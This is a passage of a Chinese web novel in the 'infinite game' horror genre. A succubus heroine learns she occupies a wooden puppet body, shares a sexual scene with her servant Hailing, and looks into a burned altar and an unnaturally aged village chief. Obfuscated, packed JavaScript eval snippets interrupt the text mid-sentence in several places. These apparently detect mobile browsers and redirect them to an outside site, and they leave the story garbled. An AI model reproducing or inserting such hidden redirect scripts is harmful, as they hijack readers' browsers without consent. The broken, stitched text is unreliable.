之前从倒计时的减少和柏景垣的反应来看,在宁汐柔穿越到十年前之后,十年后的时间也一直在流动。 为了方便称呼,就暂定这两条时间线的代称为:海神村线(十年前),和海村线(十年后)。 在海神村线里,认识海陵的是宁汐柔;在海村线中,认识海陵的是巫女。 按理来说,海村线的海陵作为侍女,应该问的是: 巫女去了哪里?为什么消失了?怎么又回来了? 可他没有任何问题,恰恰相反的,他在等着宁汐柔问他问题。 这就很有意思了。 海陵怎么知道宁汐柔会问,又为什么把自己设定成回答的那一方? 因为比起巫女消失后,海村在这十几个小时里发生的事情,他认为宁汐柔会更想知道,当“海神使者”消失后,海神村在过去十年里发生的事。 因为那才是“更重要的问题”。 而他做出这一判断的基准,唯一也必须是: 海陵知道,巫女和海神使者,就是一个人。 但这个基准又引出了新的问题。 海神使者宁汐柔是十年前突然出现在海神村的外来者。 也就是说,在二者为同一人的情况下,巫女也不可能是海村的原住人口。 “不对,这个逻辑根本想不通。” 宁汐柔皱起眉,不自觉低声自语。 海神使者在十年前消失了,是因为宁汐柔从海神村线回到了海村线,她穿越回来了。 这个逻辑是顺的。 问题出现在“巫女”这一边。 如果巫女也是外来者,那么难道宁汐柔进入副本的时候,是突然出现在轿子上的吗? 不可能,否则其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14517499|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村民绝不会没有一点反应。 那么巫女是海村的原住民,之前就一直存在? 这也不对。 如果巫女是原住民,那么她在十年前的海神村线也必然存在,就不存在海神使者宁汐柔是巫女的可能性。 “您在想,为什么您在十年前消失了,但巫女这个身份却一直存在是吗?” 海陵慢步走上前,在她的椅子前缓缓跪下,抬起手,去碰宁汐柔的指尖。 “嗯。” 宁汐柔点头。 “其实问题不是这个,而是,为什么海神使者消失了,巫女的躯体却一直存在于海神村。” 海陵的声音渐渐变了。 从柔和的女声,变为了干净的男声。 与声音一起的,还有渐渐顺着指尖,手臂,抚摸到宁汐柔脸颊的手。 他在摸宁汐柔的眼睛。 可神奇的是,当他的手碰到宁汐柔肌肤的一瞬间,那无时无刻不在阵痛着的神经,居然仿佛被安抚下来一般,痛楚也不自觉消散了。 “怎么回事?” 宁汐柔一把抓住他的手。 “巫女的躯体一直存在,但您的意识,并不一定是如此。” 海陵说着,抬起头,很轻地吻在她的手背上。 “大人,你不好奇吗,为什么自己睁开眼之后,就什么都看不到了?” 宁汐柔的动作顿住了。 海神村,海村,曾经见到和感受到的一切,一幕幕在她脑海中闪过,每一个瞬间,都变得更加清晰。 她恍然大悟。 “因为我没有眼睛。” 她说。 进入了这个副本之后,在海村线,宁汐柔一直感到一种强烈,眼睛神经被扯断的痛觉。 只有神经在痛,她的皮肉没有任何感觉。 为什么? 宁汐柔想起自己在海神村时,她站在祭台上,看着下面密密麻麻站着的人偶傀儡。 那些傀儡每一个都惟妙惟肖,栩栩如生,如果不是肌肤上淡淡的木纹,几乎没人能看出来,它们本质是无生命的木头。 木头当然没有眼睛,也看不见东西。 她抬手,摸上自己的眼睛。 不是眼周的肌肤,而是眼球。 冰凉,坚硬,甚至可以转动。 是木头。 “我没有眼睛,因为再像人类的人偶,也无法被雕刻出来一双拥有血肉的眼睛。” 宁汐柔缓缓说着,声音里居然带上了笑意: “我看不见,是因为这个躯壳,只是一具人偶傀儡。” [规则四:巫女非人] 所以巫女当然可以一直存在。 “巫女”的躯壳一直存在于海村,等待着宁汐柔意识的到来。 当宁汐柔进入副本之后,“巫女”才会苏醒过来。 所以,在副本开局显示的特殊身份卡信息中,“巫女”才会没有名字。 一个躯壳,自然不会被起名字。 那么,宁汐柔真正的身体在哪里? 她又为什么会意识离体,降落在这个被称为“巫女”的躯壳中? “所以,我死在十年前了吗?” 宁汐柔的声音依然冷静。 “不,大人,您是不会死的。” 海陵摇头,跪伏在她膝上。 “死在十年前的,是海神村的人。” “所有人。” 40. 海村往事(14) “什么意思?” 宁汐柔问。 海神村的所有人都死了? 如果海陵说的是真的,那么现在海村的人难道都是鬼吗? 鬼村? 可是这和献给海神的祭典有什么关系? 如果鬼要献上祭礼,他们的礼物又会是什么? 估计不会是什么很美好的东西。 “十年前,傀儡师收下池隨冬作为传承人。 在那之后,池隨冬开始学习制作傀儡的技艺,他学得非常快,近乎是匪夷所思的快。 不管是什么手法,在傀儡师示范过一遍之后,他都能马上复刻出来,就好像已经会了一样。” 海陵陷入了回忆,眼神逐渐放空,张口说道。 “收徒的第二天,傀儡师就宣布,他已经出师了。接下来,他只需要去完成最后的一场考验,就可以成为村子里新的傀儡师。 但也是那天晚上,原本已经平息下来的瘟疫突然再次爆发,来势汹汹。 从前只是发烧,可是第二次袭来的瘟疫,会让人陷入噩梦。在噩梦中,身体会渐渐溃烂,可直到化为白骨之前,他们都不会死去。 几乎所有人都在那场瘟疫里病倒了。 包括我。” 海陵从宁汐柔膝盖上抬起头,看着她,眼中带着深深的怀念。 “后来的事情,我就不知道了。” 他说。 “因为你也死在了那场瘟疫中吗?那你是怎么又出现在这里的?” 宁汐柔问着,抬手按住了海陵的眼睛。 眼球。 温热,软中带着韧的,摸起来湿润。 会转动。 这是一双属于人的眼睛,至少目前来判断是这样。 “嘶——” 海陵下意识痛呼了一声,却没有躲开。 他的眼睛瞬间红了一片,眼中涌出生理性的泪水。 在眼球那样脆弱的器官上,哪怕只是轻轻擦过,都会引起持久的酸麻和痛楚。 “你看起来,可不像是死了。” 宁汐柔笑了笑,指尖顺着他的眼角滑下,落在他的脸颊边上。 “我为您活着。” 他说着,双手捧上她的手腕, “瘟疫之后呢,发生了什么?” 宁汐柔任他捧着,又问。 “瘟疫没有之后,只有在瘟疫中发疯的人。我的确在后面又醒了过来,但是除了自己的使命,我什么都不知道。” 海陵摇头。 “你的使命?” 宁汐柔重复了一遍。 “嗯,我要守护这幅躯壳,直到您回来的时候。” 海陵说。 “是给你的使命?” 宁汐柔问。 海陵没有回答这个问题。 可能是因为失去了自己用眼睛观察世界的能力,反而会对来自它者的视线更加敏感。 宁汐柔感受海陵的注视,很坚定,又似乎蕴含着一点悲伤 她知道了。 “是我给你的命令。” 她说。 “这样残忍的使命,如果不是因为这是您的意思,如果不是因为知道我还能等到……我宁可真的死在那场瘟疫中。” 海陵叹息着说。 “您的眼睛还痛吗?” 他问。 没有等待宁汐柔的回答,他吻上她的眼睛,濡湿,带着一点微甜的腥气。 是血的的味道。 “我存在于此的意义,就是这个。” 海陵咬破了自己的舌尖,用一个个轻如羽毛般的吻,将舌尖血涂到她依然泛着疼痛的地方。 与吻一起消弭于空气中的,还有那份终于散去的痛楚。 这个人是她的镇痛剂。 宁汐柔明白了。 “只有这个吗?” 她笑着,挑起他的下巴。 即使目不能视,她的姿态依旧傲然,一如既往地,凌驾于万物之上。 “不,您想怎样使用我,都是我至高的荣幸。” 海陵的声音微哑。 “我很好奇,木偶的身体,会有除了触感之外,别的感觉吗?” 宁汐柔的指腹点在他的喉结上,坏心眼儿地用指甲刮了一下,满意地收获了一声短促的低吟。 “您想验证,哪种感觉呢?” 海陵双膝跪地,他仰起头的时候,鼻尖刚好能够擦过宁汐柔上衣的下摆。 她此刻穿着海村巫女独有的装束,一件绣满了海洋图腾纹样的褂子,配上裙角绣着海浪翻涌的半身裙,裙摆有三层,层层叠叠,最里面是一层柔软的内衬。 内衬的材料说不上来是什么,但是软而滑,很舒服。 宁汐柔想起她在海神村度过的第一个清晨,那时候她也是穿上了这样肤感的一件衣服。 她扬起唇角,打趣道: “手艺进步不少啊。” 当初宁汐柔在海神村穿的那件衣服就是海陵自己做的。 估计这件也差不多。 从简单款无袖长裙到繁复巫女服,海陵这十年内的裁衣水平进步不少,不知道绣工是不是也是如此。 “您贴身的东西,我总是不能让别人接手的。” 海陵说。 他有一双大而圆的眼睛,睫毛很长,浓密而柔软,此刻刮过她肋骨的位置,宁汐柔的呼吸起伏停滞了一瞬。 看来木偶傀儡的身体,也能感受到蝴蝶落在肌肤上的痒。 还有什么感受呢? 听觉吗? 竹编的椅子在摇动中咿呀咿呀地响着,卧室上空悬挂着的海神灯风铃一样,发出骨骼碰撞间特有的声音,像是风中低语。 触觉吗? 蝴蝶向下飞去,颤动着翅膀。或许是海陵担心她看不见扶不稳,双手环在她腰间。他依然有着属于活人的温度,血液在身体中奔涌。宁汐柔几乎可以感受到他脉搏的跳动。 又或许是嗅觉? 也许是在海边生活,海陵身上有着海风的味道,但又不仅仅只是海风吹过,是月光吹过海面,夜晚的浪蔓延在沙滩上,晕开痕迹。 像是在爱人的肌肤上以吻来描绘名字时,对方的发梢滑落,落在鼻尖,很淡却无法忘怀的香气。 在五感中,视觉占据着最特殊,最重要的地位。 人先以眼睛观察世界,建立自己对于环境的认知,然后再用其他感官去填补空隙。 失去视觉,就仿佛拿一张黑色的画纸,将世界的全貌遮盖住。 不管凑得多近,也无法透过纸面看见在那之外的东西。 于是,一片黑暗的世界中,事物的外在轮廓被掩盖,但那些原本只处于“填补空隙”地位的细节,会变得如同画纸上的彩色花纹,愈发得清晰、鲜明。 是呼吸的温度,唇瓣的柔软,掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534141|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的触感,和十指交扣时对方骨节的形状。 “您从前很喜欢我的手,无聊的时候,会拿着玩。” 他抚摸着宁汐柔那双木偶雕刻成的耳朵,垂下眼,有什么滴落在那上面。 是他的眼泪。 “您说,这双手很有意思。一般人的手,看到手掌大小、骨节的形状,就能看出来是女是男。 但我的手好像不一样,手掌的轮廓很柔和,但是指节又能看出来一点骨感。其实摸上去的时候也很大,能把您的手全部包在手心里……” 在他的声音中,宁汐柔仰起头,呼吸的节奏也随着他的深入起伏。 “您从前也很喜欢使用它。” 海陵的舌尖有一个伤口,在唇舌相交的时刻,宁汐柔不可避免地尝到那一点腥甜气息。 “我小时候,不得不伪装成女孩子,我害怕被发现,每天偷偷看着,看着村子里的女子都是如何行走劳作,如何举手投足,在我心里,她们每个人,都是我的老师。 渐渐地,随着我长大,海上的风浪总是很大,她们一个个的,似乎都被海浪吞没了。” 海陵叹息着,抱紧宁汐柔。 在她的呼吸声中,仿佛才有一点安宁存在。 “我本不是狂热的信徒,从前不是。” 他说。 失去了视觉的世界,用着人偶的身体,还有哪些感官依旧鲜明? 听觉,触觉,嗅觉,以及更深处无法愈合的欲望。 绵长的痛消散,换来一些更加让人上瘾的感官。 第一次用不属于自己的躯体进食,宁汐柔反而感受到一种很独特的体验。 不好形容具体的感受,但她很期待下一次的盛宴。 竹制椅子依旧咿呀咿呀地响着,她躺着海陵的身上,懒散地把玩着他的手。 柔软,但骨肉并不颓散,亭匀修长,连关节的形状都精巧。 “她们被海浪吞没了?” 宁汐柔闭着眼睛,在余韵中,慢悠悠地问。 正如人类进食之后会发困,魅魔在进食之后,也会忍不住打哈欠。 “……嗯。有人说她们是死了,但是我不信。” 海陵低下头,鼻尖吻过她的发梢。 “为什么?” 宁汐柔说。 “因为,海神大人,不会让海浪带走她们的生命。” 海陵说, “大人,有些村子注定是要灭亡的,不是在那一场祭典。也会在下一场祭典。” 那一场祭典,下一场祭典。 宁汐柔陷入思考。 她在这个副本的两个时间线中都有出现,不管是在海神村线,还是海神线,两条线上都有一个即将开启的祭典。 按照这个逻辑来看,“那一场祭典”,指的是十年前海神村的祭典,“这一场祭典”,指的是两天后,海村的祭典。 但是这两场祭典,一场已经过去的,海陵没有参与,另一场甚至还未发声。 如果海陵真如他自己所说的,因为感染了瘟疫而不知道任何后来的事情。 他又为什么说这句话? 除非,他只是一个转述者。 他只是被告知了,他要在宁汐柔面前说出这句话。 而真正需要传递这个信息的人,只有—— 宁汐柔自己。 这是第二次穿越到海神村线的宁汐柔,给自己留下的信息。 41. 海村往事(15) 第二次穿越的宁汐柔。 她在即将到来的某个瞬间穿越,所到达的时间线却是十年前。 这个在未来和过去的叠加态中,被送回来的线索,也许是通关“海村往事”这个副本最后的机会。 如果这样说的话,是不是就意味着,再次穿越之后的宁汐柔,发现解决副本的答案不在十年前? 十年前的瘟疫和祭典,无疑是一切的起点。 那么十年后的这一场祭典,会是一切的终点吗? 宁汐柔沉思着,捏捏海陵的手心。 “我要去祭台。” 虽然现在暂且无法下任何结论,但至少有一点肯定的: 第二次穿越的宁汐柔将这句话送回来,就证明它必然很重要。 而这句话中,最核心的信息并不是“十年前”与“十年后”,而是在两条时间线上都共同存在着的: 祭典。 祭典意味着什么? 宁汐柔虽然是无限游戏新人,但是从离秽和柏景垣口中,也大致知道一些无限游戏的常识。 一般来说,山村祭典是一个非常常见的故事背景,常见到甚至有些庸俗。 大部分时候,无非就是狂热的信仰、愚昧的民众、封建的思想、腐朽的制度,加上一些极端扭曲的轻女重男,佐料是对山村里无辜女人的压迫和虐待。 如果结局真相,作乱害人的是无辜女鬼,始作俑者是山村礼教。 就更“普遍”了。 宁汐柔记得离秽当时脸上的表情,厌恶,无奈,还有一丝她也不太看得出来的情绪。 魅魔以欲执为食,情.事是进餐的点缀,所以宁汐柔擅长操纵欲望,但其实不太了解感情。 她只能感受到,离秽身上爆发出强烈的战意。 沸腾爆裂,燃烧着,要将什么东西撕得粉碎才罢休。 总之,这样的副本其实并不能算得上多难,只要掌握了其中的规律和基本要点,就像是在做一场开卷考试,看着题目也能猜出答案。 即使是在规则类副本中,也无非就是死几个玩家,用来排除错误猜想。 所以,离秽坚定地相信,已经位列玩家榜榜一的池隨冬,直到现在仍然被困这个副本的原因,不太可能是因为他的个人实力不足,或者是副本难度太高。 只可能是因为他的那张特殊身份卡。 一开始进入副本的时候,宁汐柔其实也是这样想的。 而且,不管是海村往事,还是海神村之行,也都符合之前离秽总结的那些特点。 海村自己本身的偏僻落后,村子里对于海神的狂热崇拜,以及他们对于祭典的重视程度,都正中要素。 最重要的是,宁汐柔在这个村子里,从头到尾除了海陵假扮的侍女之外,一个女人也没见过。 不管是这个村子真的没有女人,还是这个村子的女人不被允许出门见人,本质上都是一样的。 甚至直到刚才海陵说起: “村子里的女人都被海浪带走了”的时候,她已经自己想象出来一个标准模板的故事了。 都是在人类社会听了太多这样的模板。 宁汐柔难得在心里吐槽了一句。 但是似乎这一切又不一样了,从海陵说的那句话开始: “海神大人不会让海浪带走她们的生命。” 在传统的村落祭典模式里,虽然狂热信仰的氛围浓厚,但是这样的目标本身,往往只是一个图腾,或者用来掩盖最恶毒的借口。 “神”本身,是不存在的。 不存在的神,只是一个带着名字的空壳,祂们没有形态,没有好恶,从不行动,也不会做出选择。 毕竟,“祂们”是不存在的。 “海神”,似乎也是如此。 祂没有形象,甚至没有象征性的图腾,只有一个一看就是随手扯来的,传说中的独木舟。 至于所谓的神迹,更是因为海村实在没有什么特殊的自然现象,只能用海浪这样常见的方式来糊弄自己。 但海陵刚才说的话,却与这个套路截然相反。 他的话中,对海神出现了强烈的“人格化”描绘: “海神不会让海浪带走女人们的生命。” 这句话里包含了对海神的两个描绘:不会杀死女人们,是选择;选择不去做某件事,又体现了好恶。 这些都是具有自我意识,有情感或者价值判断的生物才会做出来的事。 “你信仰的海神,和神观供着的那个海神,好像不太一样。” 宁汐柔的指尖在海陵手心停下,若有所思。 海陵低下头,专注的看着她的侧脸,一言未发。 他似乎猜到了她在想什么,却没有出言解释的意思。 宁汐柔觉得自己好像有一点灵光闪过,可这些黑暗中的光点过于分散,无法连成一条线。 过多的线索堆积在一起,就成了没有线索。 甚至,就连海村选择了信仰“海神”这件事,本身也有着值得商榷的地方。 “为什么你们会信仰海神?” 宁汐柔翻身坐在海陵的大腿上,抬起手,捧着他的脸,凑近了问。 她现在没有视力,不能通过欲望的颜色来判断真话与谎言。 所以下意识地,她去倾听他呼吸的频率。 “因为……” 他的呼吸加快了,但不是因为谎言。 “认真回答。” 她用膝盖碾了一下,强迫他收神。 “因为什么,我不知道,从我有记忆以来,都是这样的。” 海陵的喉结上下滚动两下,声音里带着一点哑。 “如果不说自己虔诚信仰着海神大人,就会悄悄消失在海浪里,人们都这么说。” “这可不是传教的态度。” 宁汐柔笑了一声,颇有兴味: “这是威胁呀。” 如果不表现出信仰海神的样子,就会被杀。 这样简单直白的威胁,被包装成“神的旨意”,居然就真的能骗到人的信仰吗? 不,这只能得到恐惧。 “带我去吧。” 宁汐柔说。 没有时间洗漱,海陵用浸湿的毛巾给她擦了两遍身子,连指甲缝都仔细擦干净。 毛巾柔软,温度刚好,力度轻柔,又正好为她按摩了每个酸痛的点。 说实话,他是宁汐柔目前见过,最会伺候人的,各种方面上。 最后,海陵给宁汐柔换上了一套新衣服,外表的刺绣变了图案,内衬还是那种软而滑的材料。 然后他为她披上一件披风,滑而柔软,很薄,有着一种浓烈的香味,摸上去的手感不像是任何一种衣服的材质。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14545469|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是刚刚进入副本是,海陵为她披上的那件人皮衣。 “……这是谁的皮?” 宁汐柔问。 她现在已经敢于直接这样直白地问海陵这样的问题了。 “我也不知道,这是我醒来之后,您交给我的。” 海陵说着,轻轻握住宁汐柔的手,要为她带路。 “不会是我自己的皮吧。” 宁汐柔打趣了一句。 “请、请您千万不要这样说!” 海陵的手一下子攥紧了她,声音里带了一点慌张哭腔: “肯定不会是的!” 宁汐柔这个想法只是随口一说。 她的肉身是魅魔用魔力创造出来的拟态,虽然也有血液肌肉,肌肤骨骼,但只是构架上和人类相识,实际上相差甚远。 打个比方,如果她的皮被剥下来做成衣物,可没办法做成这种柔软的披风。 估计是特效防弹衣之类的。 “逗你的,走吧。” 宁汐柔笑了下。 他们正要出门,就听见外面一阵脚步匆忙,随后房门被猛地推开,一个声音急促地响起: “姐姐,祭台、祭台被烧了!” 什么? 宁汐柔抬起头,即使没有视觉,也下意识睁大了眼睛。 还有两天就要开始祭典,现在在这个节骨眼有人烧了祭台? 动手的人想要阻止这场祭典? 为什么,他们又是怎么办到的? 那是石头堆起来的祭台啊! “那个祭台怎么会烧起来?你确定不是那上面的东西烧起来了吗?” 海陵显然也想到了这一点,出声问。 在这种关头柏景垣不会使小性子,马上回答: “不是台上的东西,就是那个台子本身。现在火势很猛,在场试图的人很多,我们没法靠得太近,木偶的眼睛很好,但是距离太远了,他也只能看到大火一直从石头缝里冒出来。” 他这句话的意思不是他们没有能力靠近,而是因为在场的NPC太多,他们为了不暴露身份,不能使用属于玩家的能力,所以无法靠近。 “真是有意思……知道是谁动手的吗?” 宁汐柔问。 “是一个我不认识的人,只能看清是个中年女人,明明跑得也不快,可是一眨眼就不见了!” 柏景垣的声音中带着一些疑惑: “我好几次都要追上她了!可是不知道为什么,就是会一下子就忽略她在哪里,就让她溜了!” 中年女人,动作不快,很容易被忽略。 宁汐柔想起一张脸。 这张脸宁汐柔并不陌生,但是也常常想不起来具体的长相,除非刻意回忆,不然往往会忘记这个人的存在。 是她…… 宁汐柔曾经见过她,在十年前,也在几天前。 她是没有离开十年前的副本,还是离开之后又回来了? 可如果没有离开,为什么她会出现在宁汐柔的新人副本里? 如果她在离开之后又回来了,为什么她也可以中途加入正在进行中的副本? 她又是如何从,在一个宁汐柔和池隨冬都无法胜利的十年前,全身而退的? 宁汐柔有一种预感,自己所想要的答案,都在这个人上。 芹秀兰。 42. 海村往事(16) 几人赶到的时候,祭台的火已经扑灭了。 虽然宁汐柔看不到祭台被烧毁之后的具体模样,但空气中传来的强烈的焦臭味,昭示着祭台的结局。 明明是用砖石搭建出来的高台,却仿佛纸糊的一样,一场不知来由的大火,居然就可以彻底摧毁它。 “情况怎么样了?” 宁汐柔问。 她手心里放着柏景垣的那本小书。 他的玩家技能可以将自己所见的画面转为书中内容,再将书中内容投注到拿着书者脑海中的。 所以,宁汐柔能勉强知道场面的大致轮廓,但那本书只有人的掌心那么大,上面是描绘不了什么细节的。 如果非说的话,宁汐柔现在所能看到的世界,就像是一个高度近视的人没戴眼镜,在看漫画小人书。 对于视力正常的人来说,这样的视野实在是难以忍受 可对于彻底失去了视力的人而言,这又仿佛已经是一种极其珍贵的礼物了。 说实话,宁汐柔现在也不知道自己属于哪一边。 “看起来好奇怪,明明是石头做的,结果现在好像烧干净了一样,感觉连石头都只剩外边一层壳了。” 柏景垣说。 这场不知道来由的火,仿佛也有着不知道是什么样特殊存在的燃料加持。 轰轰烈烈烧了一个多小时才自己熄灭不说,连近两三米高的石头祭坛现在都已经摇摇欲坠。 所以说不能在无限游戏的副本里面追求物理常识。 但这属实有些过分了。 “烧空了?” 宁汐柔问。 “看上去是烧空了。” 柏景垣点头,又想起来宁汐柔现在看不到,于是捏了捏她的手心。 “木偶呢?” 宁汐柔又问。 “他刚才和我在这里远远看了一眼之后就走开了,他说不能让村长看到他。我问他这句话是什么意思,但他没告诉我,” 柏景垣说到这里,轻哼了一声: “最讨厌这种装高深的谜语人了。我有时候觉得他们比副本还没头没脑。” 究竟是真心吐槽还是暗暗来一波情敌拉踩,宁汐柔不在意,在这个时候,这些东西也不重要。 “为什么他说不能让村长看到他?如果只是怕人发现他是‘活着’的木偶,只需要装作不会动就可以了吧。” 宁汐柔转头,“看”向海陵。 在来的路上,宁汐柔已经和海陵确认过,现在的祭典依然还是在用木偶傀儡。 村子里面已经没有傀儡师了,木偶傀儡的存货自然也只有十年前的那一批。 之所以能这样用,是因为: 这次祭典是海村改名以后,举办的第一次祭典。 海村在十年之前就已经改名了。 海陵没必要骗宁汐柔,祭典这样重要的仪式,如果之前进行过,不可能没有留下痕迹,在村里随便一打听就能打听出来。 但正因为海陵没有必要撒谎,这一切才显得更加奇怪。 这意味着,自称狂热虔诚信仰着海神的整个村落,在过去的整整十年里,居然没有为他们竭尽全力信仰的神明举办一次祭奠吗? 即便是村子贫穷资源匮乏,但在新年节庆里,总不至于一点表示都没有。 甚至退到最后一步,连新年节庆的时候,他们也没有钱来举办祭典。 那至少在村子改名这样的大事上,他们难道不需要向庇佑自己的神明举办一个仪式,请求一个许可吗? 这个村子的信仰氛围看似浓郁,可细细想来,处处都透着古怪。 从被高高空架的神明到敷衍粗糙的传说,不合常理不合逻辑的地方,简直太多了。 甚至难以一一细数。 “对于别人当然可以这样装,但是在村长面前,这样是装不过去的。” 海陵回答。 “为什么?” 宁汐柔不解。 “难道这个新的村长有什么能力?” 在十年前的海神村时间线里。村长对于傀儡师和他做出来的那些傀儡们,显然态度都颇为重视。 这种重视一方面体现了傀儡师和木傀儡在海神村信仰中的重要地位。也同时体现了村长对于这门技艺是不了解且无法掌握的。 根据宁汐柔这些年来在人类世界生活的经验。 人类往往不会对自己熟悉并可控的事情产生忌惮和尊敬。 虽然无限游戏副本中的这些角色是npc,但他们还是依照着人类的思考逻辑和行动模式的。 “新村长?” 海陵顿了一下,回答宁汐柔: “他不是新村长,他就是十年前的那个村长啊。” 嗯? 宁汐柔的表情停顿了一瞬间。 现在的海村村长就是十年之前的那个海神村村长吗? 可是这两个人之间的年龄差,肉眼看上去最少要有三四十岁了。 即使海边太阳紫外线强烈,再加上山村条件贫瘠,没有什么保养的习惯,一个人的衰老速度也不能这么快吧? 如果说这是因为海陵之前提到的那一场杀了海神村所有人的瘟疫…… 不管这些人是化鬼了,还是复活过来了,排除海陵这个由宁汐柔经手过的例外。 村子里的其他人可没有产生这么明显的衰老。 不管海村这些村民是怎么“活”过来的,村长必定是其中一个非常重要的意外。 宁汐柔思考着。 “他走过来了。” 海陵小声提醒宁汐柔。 其实宁汐柔早就在自己脑海中的轮廓小人书里“看”到了这个画面。 但她当然不可能把这件事情告诉海陵。 “巫女大人。” 不知道是被烟呛了灰尘进嗓子,还是因为此刻的情绪波动过于强烈,村长的声音听上去更加苍老,嘶哑了许多。 这也是他和10年前大不相同的地方。 维持着巫女傲慢冷漠的人设,宁汐柔没有出声应答,只是幅度很小地抬了下下巴,表示自己听到了。 “有的人混进了村子,企图毁坏祭台,让我们不能如期举行祭典,这是对海神大人的大不敬——咳咳咳咳!” 村长说着,剧烈地咳嗽起来。 鬼会因为被浓烟呛到之后咳嗽吗? 宁汐柔听着他的声音,以及咳嗽时胸腔振动的频率。 一切好像都很正常,正常得好像他就是一个普通的,苍老的人类。 宁汐柔为了维持人设,不能随便开口发问,海陵是NPC,未必能够帮助玩家推进任务进度。 在场的三人中,柏景垣理所当然的承担了嘴替追问,打探信息的角色。 “村子是海岛,外人混进来可太难了,说不定是村子里有人——” 然而他说到一半,停下了。 村长掀起一贯耷拉着的眼皮,抬起那双苍老纹浑浊的眼睛,定定地看着柏景垣。 此时他才发现,村长那双眼睛中几乎没有眼白,乍一看,黑漆漆的一片,仿佛海底深处涌动着的漩涡。 对视的十几秒里,村长一次也没有眨过眼睛。 “海村的每一个人都虔诚地信仰着海神大人,那是比我们的生命更加重要的事情!” 村长用力地将手中的拐杖砸向地面,厉声喝道: “你不尊重村里人的信仰,莫非是你自己动摇了?!后悔了!?背弃承诺的人,会被海浪带走!” 一个瘦骨嶙峋的老人,暴怒之时居然有让地面震颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558762|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一瞬间的力量。 宁汐柔默默听着。 “够了。” 她说。 如果让村长继续说下去,柏景垣估计会暴露身份。 其实在无限游戏副本中,NPC并不是完全不知道玩家的存在,只不过他们给玩家往往会有另外的代称。 他们对于玩家的态度,也往往取决于该副本的世界背景和氛围倾向。 有一些未来背景或者是星际背景的副本,对于玩家的态度会相对友好,平淡一些。认为他们无非就是某个自己所存宇宙之外的生物。 但也有一些副本,他们会将玩家视作洪水猛兽或者是诅咒天灾。 总而言之,是一旦发现了就要拼尽全力赶尽杀绝的。 而像海村这样闭塞,封闭,贫瘠又封建的地方,几乎不需要什么思考就可以得出结论: 在这里OOC,被发现玩家身份,绝对不可能是一件好事。 但是在海村线里,宁汐柔还需要柏景垣。 不仅仅是因为他的玩家技能,可以让宁汐柔勉强“看”到这个世界的轮廓; 也不仅仅是因为宁惜柔现在目不能视行动不便, 海灵是个npc,没有办法切实的帮助主线任务的推进, 木偶只能躲在村长不在的地方,又缺乏记忆,看上去智力远不如人类时期的池隨冬。 而是因为,现在的副本还没有进行到,宁汐柔为了通关必须用人命去是规则的地步。 正如柏景垣自己之前所说的一样: 他的命很有用,可以为宁汐柔在危急关头排除一个错误答案。 她需要他活着,直到那一刻。 [规则三:在海村,巫女高于一切。] 在宁汐柔的漆黑视野中,这条规则微微亮起。 这是已触发的显示吗? 宁汐柔记在心里。 在规则类副本中,玩家不仅仅可以收集规则,规避规则,也可以使用规则。 这些规则是提示,陷阱,也是武器。 随着宁汐柔开口,村长默默向后退了半步,他低下头显示自己的臣服,也果然不再继续向柏景垣的方向看去。 “巫女大人说的对,我们现在应该做的,只有马上修复祭台,继续举办祭典,祈求海神大人的原谅与庇佑。” 村长苍老嘶哑的声音又重新恢复了平静。 “如何修复?” 宁汐柔依然是高高在上的冷漠姿态。 “巫女大人可能不知道,村子里在十年前,曾经有过一位技艺十分高超的傀儡师。” 村长说: “如果他还在的话,或许可以利用制作傀儡的方法,将祭台重新修补好。” “但?” 宁汐柔只说了一个字。 “……但是在十年前,他不知道为什么突然失踪了,我们找了很久也找不到他的踪迹。 我们费尽心力,只留下只找到了他留下来的许多傀儡,那些傀儡本来也是两日后祭典上的祭品。” 村长深深地低下头去。 “所以?” 宁汐柔说。 “如果能够找到傀儡师或者找到他制作那些傀儡的方法,或许我们就可以修补祭台了。” 村长说着,神情激动了起来: “有着海神大人的指引,您一定可以的!” [叮!恭喜您触发隐藏任务!] [任务目标:获得“傀儡师的宝物”] [触发人:宁汐柔] [任务倒计时:49:56:13] [提示:您可以选择一位玩家作为“协力者”,该玩家将在完成任务后获得次级奖励] 